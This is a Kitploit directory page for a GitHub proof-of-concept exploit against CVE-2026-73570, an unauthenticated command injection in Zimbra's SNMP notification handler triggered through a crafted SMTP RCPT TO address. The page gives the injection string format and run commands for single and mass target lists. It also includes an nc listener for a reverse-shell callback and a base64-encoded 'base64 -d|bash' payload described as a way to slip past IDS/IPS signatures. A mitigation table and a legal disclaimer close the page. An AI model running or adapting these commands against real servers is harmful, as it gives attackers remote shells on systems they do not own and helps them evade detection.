Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-73570 — Zimbra SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP exploit (Poc) | Kitploit
工具/GitHubGitHub/gabrielunknown/cve-2026-73570
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP exploit (Poc)

查看仓库
41518天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-73570 — Zimbra ZCS SNMP Notification RCE exploit (PoC)

Unauthenticated Remote Code Execution via OS Command Injection in the Zimbra Collaboration Suite SNMP notification handler.


Overview

FieldValue
CVECVE-2026-73570
CVSS 3.18.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — Improper Neutralisation of Special Elements used in an OS Command
AffectedZimbra ZCS < 10.1.20 (with zimbra-snmp installed)
Fixed inZCS 10.1.20 — July 2026
CISA KEVAdded 2026-08-21 (FCEB remediation deadline: 2026-08-24)
Auth requiredNone
Execution aszimbra OS user

Root Cause

The optional zimbra-snmp package ships a swatchdog rule that tails /var/log/zimbra.log for lines matching:

root@kitploit:~
Service status change: <NAME> changed from <STATE> to <STATE>

When a match is found, swatchdog passes the captured <NAME> field directly to the SNMP notification shell script without any sanitisation.

An unauthenticated attacker can inject a crafted log entry by sending a specially formed SMTP RCPT TO command. Using an RFC 5321 quoted local-part, shell metacharacters — e.g. $(...) — are embedded inside <NAME> and execute when swatchdog processes the resulting log line.


Pre-conditions

All three conditions must be true on the target for the vulnerability to be exploitable:

  • zimbra-snmp package is installed
  • SNMP notifications are enabled (snmp_notify = true)
  • swatchdog service is running

Attack Flow

root@kitploit:~
Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. Connect to port 25 / 465 / 587.
  2. Send a standard SMTP conversation with the weaponised RCPT TO.
  3. Zimbra logs the address data regardless of accept/reject.
  4. swatchdog matches the log pattern and extracts the injected $(CMD).
  5. The SNMP handler executes CMD as the zimbra OS user.

Exploit

Requirements

root@kitploit:~
cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

or via apt-get

root@kitploit:~
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

or via yum

root@kitploit:~
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

Single target

root@kitploit:~
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

Target list

root@kitploit:~
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — one host per line, optional :port, lines starting with # are ignored:

root@kitploit:~
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

All options

Full example

root@kitploit:~
# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

Payload technique

The reverse shell command is base64-encoded before injection:

root@kitploit:~
echo <b64>|base64 -d|bash

This prevents IDS/IPS from matching plaintext signatures such as /dev/tcp, bash -i, or nc -e. The encoded blob is injected as $(...) inside the quoted local-part of RCPT TO, triggering execution server-side when swatchdog processes the log entry.


Mitigation


References

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

Disclaimer

This proof-of-concept is released for authorized security testing, academic research, and defensive purposes only.
Running it against systems you do not own or lack explicit written permission to test is illegal.
The author assumes no liability for any misuse or damage caused by this tool.


下载工具
FlagLongDefaultDescription
-H--host—Single target hostname or IP
-f--file—File containing target list
-p--port587Default SMTP port
-r--rhost—Your IP for the reverse shell callback
-R--rport4444Listener port
-t--timeout15Socket timeout in seconds
-S--ssloffDirect TLS (auto-enabled on port 465)
-v--verboseoffPrint full SMTP dialog
-L--logfile—Write session log to file
-h--help—Show help
ActionDetail
PatchUpgrade to Zimbra ZCS ≥ 10.1.20
Disable SNMP notifyzmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
Remove packageapt remove zimbra-snmp / yum remove zimbra-snmp
Network controlsRestrict inbound SMTP (25/465/587) to trusted relays where operationally feasible